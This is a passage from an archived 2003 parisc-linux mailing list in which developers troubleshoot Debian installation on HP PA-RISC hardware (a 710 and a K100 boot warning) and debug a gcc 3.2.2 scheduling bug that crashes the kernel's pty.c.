List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17494

Hi,

after searching the mailing list I've found some messages which reported
success in installing Woody on a 710. So I tried to install it. After
trying many many different lifimages, all ended up in the same result:
It hung during installation ( while mounting the root file system ).
Switching to another console ( which still worked ) showed me that
/sbin/dbootstrap and [scsi_eh_0] were both in state D.  

What did I do wrong ? Or to put it other words: How did you guys get
your 710s up'n'running ?

Thanks.



From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot warning 80F5.
Date: Sun, 26 Jan 2003 16:58:54 +0100
Organization: ESIEE
Lines: 30
Approved: news@gmane.org
Message-ID: <20030126165854.42e05146.varenet@esiee.fr>
References: <3E340091.2000003@avtlg.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622146 20566 80.91.229.3 (22 Nov 2014 02:09:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: max@avtlg.ru
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 08:59:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep13-int.chello.at (viefep13-int.chello.at [213.46.255.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D31D4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 08:59:04 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep13-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030126155856.IBDP18878.viefep13-int.chello.at@Bibou>;
          Sun, 26 Jan 2003 16:58:56 +0100
In-Reply-To: <3E340091.2000003@avtlg.ru>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17495

On Sun, 26 Jan 2003 18:36:49 +0300
"Max" <max@avtlg.ru> wrote:

> Hi,
> 
>     I have HP 9000/809/k100. When my box boot from Debian 3.0r1 hppa CD
> ( Interact with IPL (Y or N)?> Y ), i've got message "Cannot find ENTRY
> TEST Status= -4" and WARN 80F5 on LCD panel status. What is that means?
> What do I do?
> Where can I find other WARN description ?
Read the PA/Linux boot HOWTO
http://pateam.esiee.fr/doc.html

and search the mailing-list for K-class PDC console issues
http://www.fr.parisc-linux.org/mailing-lists/

The message you see can be the result of several problems.

Most likely the kernel shipped with 3.0r1 doesn't support K's MUX.

You'll need a '-PDC-' image from
http://pateam.esiee.fr/cd-images/testing/

see http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017846.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Woody on 710.
Date: Sun, 26 Jan 2003 17:03:14 +0100
Organization: ESIEE
Lines: 30
Approved: news@gmane.org
Message-ID: <20030126170314.2a4af25b.varenet@esiee.fr>
References: <1043595882.23219.12.camel@jupiter>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622146 20572 80.91.229.3 (22 Nov 2014 02:09:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Buffalo Bill" <buffalo@gediegos.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 09:03:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8824C4842
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 09:03:16 -0700 (MST)
Original-Received: from Bibou ([212.186.189.113]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with SMTP
          id <20030126160313.GQML16668.viefep16-int.chello.at@Bibou>;
          Sun, 26 Jan 2003 17:03:13 +0100
In-Reply-To: <1043595882.23219.12.camel@jupiter>
X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17496

On 26 Jan 2003 16:44:40 +0100
"Buffalo Bill" <buffalo@gediegos.de> wrote:

> Hi,
> 
> after searching the mailing list I've found some messages which
> reported success in installing Woody on a 710. So I tried to install
> it. After trying many many different lifimages, all ended up in the
> same result: It hung during installation ( while mounting the root
> file system ). Switching to another console ( which still worked )
> showed me that/sbin/dbootstrap and [scsi_eh_0] were both in state D.
If you can switch to another console then the system _isn't_ hung.

I saw the same kind of problem on boxes with low amount of RAM (<32M).
Though the fact that [scsi_eh_0] is in D state isn't good at all. Maybe
you have a problem with your SCSI chain (hard disk, termination
problem...?)

> 
> What did I do wrong ? Or to put it other words: How did you guys get
> your 710s up'n'running ?
The 710 we have running here runs a preinstalled filesystem. That is to
say, the HD was prepared in another box and then plugged back into the
710.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Buffalo Bill <buffalo@gediegos.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Woody on 710.
Date: 26 Jan 2003 17:18:45 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <1043597930.23391.25.camel@jupiter>
References: <1043595882.23219.12.camel@jupiter> 
	<20030126170314.2a4af25b.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622147 20574 80.91.229.3 (22 Nov 2014 02:09:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 09:17:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natsmtp01.webmailer.de [192.67.198.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id B43C14829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 09:17:10 -0700 (MST)
Original-Received: from [192.168.77.16] (p50915F9A.dip.t-dialin.net [80.145.95.154])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id RAA29984
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 17:17:03 +0100 (MET)
In-Reply-To: <20030126170314.2a4af25b.varenet@esiee.fr>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-10) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17497

Am Son, 2003-01-26 um 17.03 schrieb Thibaut VARENE:

> If you can switch to another console then the system _isn't_ hung.
Well, okay the System isn't hung, but the installer.

> I saw the same kind of problem on boxes with low amount of RAM (<32M).
My machine has only 48 MBs

> Though the fact that [scsi_eh_0] is in D state isn't good at all. Maybe
> you have a problem with your SCSI chain (hard disk, termination
> problem...?)
It doesn't seem to be a HW problem, since the machine was running HP-UX
10.20 perfectly until i tried to install woody. :-(

> The 710 we have running here runs a preinstalled filesystem. That is to
> say, the HD was prepared in another box and then plugged back into the
> 710.

Hmm... i have only one single PA-RISC machine :-(
 
Thank you for answering.




From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot warning 80F5.
Date: Sun, 26 Jan 2003 09:04:32 -0800 (PST)
Lines: 56
Approved: news@gmane.org
Message-ID: <20030126170432.44906.qmail@web12506.mail.yahoo.com>
References: <20030126165854.42e05146.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-2142683236-1043600672=:44839"
X-Trace: ger.gmane.org 1416622147 20576 80.91.229.3 (22 Nov 2014 02:09:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 10:04:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12506.mail.yahoo.com (web12506.mail.yahoo.com [216.136.173.198])
	by dsl2.external.hp.com (Postfix) with SMTP id 357B24829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 10:04:34 -0700 (MST)
Original-Received: from [12.24.253.152] by web12506.mail.yahoo.com via HTTP; Sun, 26 Jan 2003 09:04:32 PST
In-Reply-To: <20030126165854.42e05146.varenet@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17498

--0-2142683236-1043600672=:44839
Content-Type: text/plain; charset=us-ascii


An "init -4" is basically saying that the machine couldn't find a boot sector on the drive you tried to boot from.  In the case of a hard drive it means the drive is dead or the BDRA is corrupted.  In the case of your CD, it could mean that it wasn't burned correctly or like Thibaut said it was the wrong image file.  Heck you could even have a dead CDROM.  Some of the older CDROMs won't read burned CDs.  Since the K100 is pretty old you may be having a problem reading burned CDs.  When I tried to load from a burned CD on my E55's caddy load CDROM it wouldn't boot.  I then loaded the CD into an external HP DVD and it booted just fine.  So then I put the HPUX CD in the old CDROM and it boots and loads just fine.
derek
 Thibaut VARENE <varenet@esiee.fr> wrote:On Sun, 26 Jan 2003 18:36:49 +0300
"Max" wrote:

> Hi,
> 
> I have HP 9000/809/k100. When my box boot from Debian 3.0r1 hppa CD
> ( Interact with IPL (Y or N)?> Y ), i've got message "Cannot find ENTRY
> TEST Status= -4" and WARN 80F5 on LCD panel status. What is that means?
> What do I do?
> Where can I find other WARN description ?
Read the PA/Linux boot HOWTO
http://pateam.esiee.fr/doc.html

and search the mailing-list for K-class PDC console issues
http://www.fr.parisc-linux.org/mailing-lists/

The message you see can be the result of several problems.

Most likely the kernel shipped with 3.0r1 doesn't support K's MUX.

You'll need a '-PDC-' image from
http://pateam.esiee.fr/cd-images/testing/

see http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017846.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-2142683236-1043600672=:44839
Content-Type: text/html; charset=us-ascii

<P>An "init -4" is basically saying that the machine couldn't find a boot sector on the drive you tried to boot from.&nbsp; In the case of a hard drive it means the drive is dead or the BDRA is corrupted.&nbsp; In the case of your CD, it could mean that it wasn't burned correctly or like Thibaut said it was the wrong image file.&nbsp; Heck you could even have a dead CDROM.&nbsp; Some of the older CDROMs won't read burned CDs.&nbsp; Since the K100 is pretty old you may be having a problem reading burned CDs.&nbsp; When I tried to load from a burned CD on my E55's caddy load CDROM it wouldn't boot.&nbsp; I then loaded the CD into an external HP DVD and it booted just fine.&nbsp; So then I put the HPUX CD in the old CDROM and it boots and loads just fine.
<P>derek
<P>&nbsp;<B><I>Thibaut VARENE &lt;<A href="mailto:varenet@esiee.fr">varenet@esiee.fr</A>&gt;</I></B> wrote:
<BLOCKQUOTE style="BORDER-LEFT: #1010ff 2px solid; MARGIN-LEFT: 5px; PADDING-LEFT: 5px">On Sun, 26 Jan 2003 18:36:49 +0300<BR>"Max" <MAX@AVTLG.RU>wrote:<BR><BR>&gt; Hi,<BR>&gt; <BR>&gt; I have HP 9000/809/k100. When my box boot from Debian 3.0r1 hppa CD<BR>&gt; ( Interact with IPL (Y or N)?&gt; Y ), i've got message "Cannot find ENTRY<BR>&gt; TEST Status= -4" and WARN 80F5 on LCD panel status. What is that means?<BR>&gt; What do I do?<BR>&gt; Where can I find other WARN description ?<BR>Read the PA/Linux boot HOWTO<BR><A href="http://pateam.esiee.fr/doc.html">http://pateam.esiee.fr/doc.html</A><BR><BR>and search the mailing-list for K-class PDC console issues<BR><A href="http://www.fr.parisc-linux.org/mailing-lists/">http://www.fr.parisc-linux.org/mailing-lists/</A><BR><BR>The message you 
 see can be the result of several problems.<BR><BR>Most likely the kernel shipped with 3.0r1 doesn't support K's MUX.<BR><BR>You'll need a '-PDC-' image from<BR><A href="http://pateam.esiee.fr/cd-images/testing/">http://pateam.esiee.fr/cd-images/testing/</A><BR><BR>see <A href="http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017846.html">http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017846.html</A><BR><BR><BR>Thibaut VARENE<BR>The PA/Linux ESIEE Team<BR><A href="http://pateam.esiee.fr/">http://pateam.esiee.fr/</A><BR>_______________________________________________<BR>parisc-linux mailing list<BR><A href="mailto:parisc-linux@lists.parisc-linux.org">parisc-linux@lists.parisc-linux.org</A><BR><A href="http://lists.parisc-linux.org/mailman/listinfo/pa
 risc-linux">http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</A></BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-2142683236-1043600672=:44839--


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Ward <tward800@cox.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot warning 80F5.
Date: Sun, 26 Jan 2003 12:04:24 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <3E343138.6000205@cox.net>
References: <3E340091.2000003@avtlg.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622147 20583 80.91.229.3 (22 Nov 2014 02:09:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:07 +0000 (UTC)
Cc: PA-RISC <parisc-linux@lists.parisc-linux.org>
To: max@avtlg.ru
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 12:08:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fed1mtao03.cox.net (fed1mtao03.cox.net [68.6.19.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4E0A4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 26 Jan 2003 12:08:44 -0700 (MST)
Original-Received: from cox.net ([68.98.121.70]) by fed1mtao03.cox.net
          (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP
          id <20030126190841.HMOG29396.fed1mtao03.cox.net@cox.net>;
          Sun, 26 Jan 2003 14:08:41 -0500
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17499

Max wrote:

> Hi,
>
>    I have HP 9000/809/k100. When my box boot from Debian 3.0r1 hppa CD
> ( Interact with IPL (Y or N)?> Y ), i've got message "Cannot find ENTRY
> TEST Status= -4" and WARN 80F5 on LCD panel status. What is that means?
> What do I do?
> Where can I find other WARN description ?
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailmanhttp://us-support3.external.hp.com/listinfo/parisc-linux 
>
>
The forums on HP's ITRC, http://us-support3.external.hp.com, are a great 
resource for thing like this.

 From a google cache of ITRC:
*80F5*means that firmware can not initialize device. Stable storage 
message may mean NVRAM (setup) corruption. Try restoring defaults in the 
PDC, then tune it as it was before (paths, boot parameters, etc). Check 
if this code appears again
Eugeny

Regards,
Tom



From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ok all
Date: Sun, 26 Jan 2003 14:52:05 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030126215205.GD28343@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0301252356110.25913-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622148 20586 80.91.229.3 (22 Nov 2014 02:09:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan 26 14:52:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8EB9F4829; Sun, 26 Jan 2003 14:52:05 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301252356110.25913-100000@jordan.eng.nateng.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17500

On Sun, Jan 26, 2003 at 12:17:31AM -0800, Sir Ace wrote:
> > uhm...what are you building that takes 4 days?
> > Not even glibc or xfree86 takes that long.
> 
> On 128 Meg of ram, and 1 100Mhz pa7200, openssl, openssh, 2.4.20 kernel,
> gcc 2.95.3, pine, and several other apps...  Remembering things don't
> normally build the first time around, and tweaks must be made...

ok. but you definitely are not building gcc 2.95.3 - we've never used that.
gcc 3.0 is the first release for parisc.

> Ok, then I will give credit to everyone who got it this far, I am happy I
> might be able to get the workstations here in my office off of HP/UX 10.20
> and into this decade, even if I have to setup NFS-root clients to do it.

I've been using b180 w/parisc-linux as desktop/debian mirror for almost 
a year now. only thing to crash the box was audio driver and test
kernels. But some things are missing that HPUX has: NetMeeting
support (T.120 specifically; GnomeMeeting supports H323), performance.

grant


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Sun, 26 Jan 2003 23:26:15 -0800
Lines: 36
Approved: news@gmane.org
Message-ID: <20030127072615.GF8487__8197.91125036336$1416622148$gmane$org@tausq.org>
References: <20030126044656.GB6057@dsl2.external.hp.com> <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622148 20589 80.91.229.3 (22 Nov 2014 02:09:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:08 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 00:30:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C2024829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 00:30:54 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4E903CDA56; Sun, 26 Jan 2003 23:26:15 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200301260509.h0Q59ntl001762@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17501

> You could try using "objdump -d" on the .o's, then diff'ing.  However
> the diff might be large.  Probably, comparing .S files would be
> best.  Don't use "-g".  However, if you find a difference that looks
> suspicious, "-g" will help you locate the source line.

well.... Grant and I did some more debugging on this.... here's what
we've tried so far:

- pty.c compiled completely with 3.2.2 => crash
- pty.c compiled completely with 3.0.4 => ok
- all the functions except pty_init compiled with 3.2.2, and with
pty_init compiled with 3.0 => ok
- pty.c compiled with 3.2.2 with only one of -fno-schedule-insns
  or -fno-schedule-insns2 => crash
- pty.c compiled with 3.2.2 with both -fno-schedule-insns and
  -fno-schedule-insns2 => ok

For reference, this is the original compile line:
gcc -D__KERNEL__ -I/usr/src/linux/include -Wall -Wstrict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000   -nostdinc -I /usr/lib/gcc-lib/hppa-linux/3.2.2/include -DKBUILD_BASENAME=pty  -DEXPORT_SYMTAB -c pty.c

here are the corresponding assembly files:
without -fno-schedule-insns -fno-schedule-insns2
    http://www.parisc-linux.org/~tausq/pty.s-opt
with -fno-schedule-insns -fno-schedule-insns2
    http://www.parisc-linux.org/~tausq/pty.s-noopt
diff -ywb output
    http://www.parisc-linux.org/~tausq/pty.s.diff

still need to look at the asm output a bit more carefully....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] apt-get install
Date: Mon, 27 Jan 2003 11:04:46 -0600
Lines: 11
Approved: news@gmane.org
